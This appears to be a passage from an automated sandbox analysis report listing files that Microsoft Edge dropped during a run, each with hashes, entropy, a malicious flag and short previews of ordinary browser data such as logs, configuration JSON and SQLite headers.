SHA-512:	BFE615025F663E8D9A8A1F5EC22272AB0728AA8FE0F8CBFE696322F9CE02D38798D84F1D6AB680EED9DF1CFB6B75F115E083B8A74AD2348E219BB566419E9D09
Malicious:	false
Preview:	2024/11/11-13:17:50.287 20f0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/11-13:17:50.288 20f0 Recovering log #3.2024/11/11-13:17:50.292 20f0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.3541295785674565
Encrypted:	false
SSDEEP:	6144:FA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:FFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	4CFC6F31436C2DA4EE6743C82D783A3E
SHA1:	6FEC66B23ECEFA7726C4292699A089E2C76B1475
SHA-256:	5A3D8EFF5349DF5F2F4F5C4E87E0426EC31D958F7D74EC7A6EA2BE431F61A578
SHA-512:	240F427BAE11484CC50553954B5A052A0B54FF3DD24FCB16F5FAF335A84D499F5E16BF41AA962F36E1F735F16EF1390C62BDCB02144A6E96F0B10143C5E416D8
Malicious:	false
Preview:	...m.................DB_VERSION.1>4..q...............&QUERY_TIMESTAMP:domains_config_gz2...13375822672746224..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	317
Entropy (8bit):	5.178927001520698
Encrypted:	false
SSDEEP:	6:HUl301cNwi23oH+Tcwtk2WwnvB2KLlVUC+q2PcNwi23oH+Tcwtk2WwnvIFUv:G+ZYebkxwnvFLWvLZYebkxwnQFUv
MD5:	3FAF137CE2E6F5D0015692639ADA5359
SHA1:	31AFF7E30902895728D28604D63F7576F6135AC4
SHA-256:	277EB7D527B10A1ACB09A91FD23F290F2451B2AD736F8F23330845778010A90F
SHA-512:	3526F58B597313A7B918CC5A3F1493902F69C500E19324FD023C14E23282A7F44EA54E16CD8E46D9CEE36AACE5587B2FFED4B3F89D303CEBF193CCE32EBAF75C
Malicious:	false
Preview:	2024/11/11-13:17:50.278 2108 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/11-13:17:51.899 2108 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324604078136199
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rm:C1gAg1zfv+
MD5:	D83FF485ABB17B7D3DB92C4B0571B947
SHA1:	F2380EC13616771D2995B7B89046B3784AEF28B8
SHA-256:	21D1E0A30FD1837F88E976D56B72782EEB5A843731941CF7E31713CDDDB8C872
SHA-512:	984793E355DBE349752B82D01EBC584466530405EDC158F4A03AB8EF3BF6B09FDE3C20009628A6098569EE7141E38565E5AD473BD63E0E06594BBCABBB436ED5
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\0b4d0fe1-2870-42e6-8680-3c6edcb0cd43.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\0d23a4d0-9a30-47a0-b238-b4cd1141cb3f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2010
Entropy (8bit):	5.298109645312901
Encrypted:	false
SSDEEP:	48:YcCpfgCzs3Ets2VfcKsOleeBakEs1CgH1saCgH1YhbyDF:F2fXhVVkeBakZTZTyhy
MD5:	4E3B5CDCEF6A87E05C30AD3EF2C34695
SHA1:	533D1D1B44442141AAFF7DC940A34581310349BF
SHA-256:	A2FAE71665ABBC2DEDCD8D2797AC07071567D60CAC9FE8A568F63B25ACF4E1DC
SHA-512:	A2A7915027E847053F5F828FD99936C8543F5DD5A54635A65CA80CE87F42767AFB5BF4C15B41CFD94324E68E5FCB4CC5AD13A6897B2B2F99DC4CE8F9C7B34DE8
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378414666842179","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378414670784519","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13375916272091237","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA="

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\54b6849f-abfb-4219-9e12-cd1fd0c984fe.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\8ee4b078-b769-429e-a968-0ea7f5c7a499.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\8ee534ac-4c5d-494f-bc96-968311cf74fa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\988e2257-26d9-41e3-8e81-6c96b3bae3bf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.825082162849832
Encrypted:	false
SSDEEP:	192:tTra2rDCB/8Vg5VwDCgeMUfCk0c4p0L/ZJVb:VmZBkVgLwD/3k0lp0LhJVb
MD5:	CFA60FC7E598C6FF55B100DA5AB01CAC
SHA1:	BB37FD1080249DEDBA403263A1B97BB5A659DCD2
SHA-256:	BBAFFF277ED861E919859D7D93BC236299ACE8DF4ECE31D8B13B87E8561962F9
SHA-512:	62B9BFB8518F33B2CC303FDA46CB109118C4E84EC7E0B49F7EA9A300D2468647CB7F6BE52A915C58F51A15427822AA24FE9D8044E18070867643801E4A9134BB
Malicious:	true
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2010
Entropy (8bit):	5.298109645312901
Encrypted:	false
SSDEEP:	48:YcCpfgCzs3Ets2VfcKsOleeBakEs1CgH1saCgH1YhbyDF:F2fXhVVkeBakZTZTyhy
MD5:	4E3B5CDCEF6A87E05C30AD3EF2C34695
SHA1:	533D1D1B44442141AAFF7DC940A34581310349BF
SHA-256:	A2FAE71665ABBC2DEDCD8D2797AC07071567D60CAC9FE8A568F63B25ACF4E1DC
SHA-512:	A2A7915027E847053F5F828FD99936C8543F5DD5A54635A65CA80CE87F42767AFB5BF4C15B41CFD94324E68E5FCB4CC5AD13A6897B2B2F99DC4CE8F9C7B34DE8
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378414666842179","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378414670784519","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13375916272091237","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA="

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.4812680339991446
Encrypted:	false
SSDEEP:	96:OIEumQv8m1ccnvSSDHnoG9WhXlUNOFcOw1a:OIEumQv8m1ccnvS6o4WRidOr
MD5:	991932D2346EF4302F47966201719321
SHA1:	C0174E86C2E30C3B94A5E39A181FA2779FA61B2C
SHA-256:	F422BB8BEA06FF36B038F401D18509E6508D3639FFA0348C34E769945E8EE1AD
SHA-512:	F17522E7FB1026181773D508B8DD6615ADC14F057C0EF97B3C8A48B461E51D1D11BB07732C38B54FF702A84B94458AD1B707B20316F0C91BB93133B5F8976A2B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF23f32.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF25838.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF25cbc.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3c739.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\c3cdec64-31ab-4c25-a85a-5a7ba992f650.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (13712), with no line terminators
Category:	dropped
Size (bytes):	13720
Entropy (8bit):	5.427362906494896
Encrypted:	false
SSDEEP:	192:stSkdplsCGyaNP9kq5kYBpP7ZKT6bPZPEHKyS8SbV+FFuQwR8NCPJYJ:stSQlsCGtJ55F4MFTbGUQwRM
MD5:	A283BA177A678403A2A6063327D56A52
SHA1:	95C828953C322A80FC33E75B5DEE75FFB9708AFC
SHA-256:	78928F1BCE00614955E216D9867F9B8C747C5495502378A1656504EF35DD595A
SHA-512:	11390EB2C55D1400C07D7B6C576693CDDA9F10E69CB63811D210FBB09D42B1F95A41F1DC1032D706709776F41265D3095FA7B2D341B4909FA2CC4560EA80E685
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375822664239234","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2746b.TMP (copy)

Download File

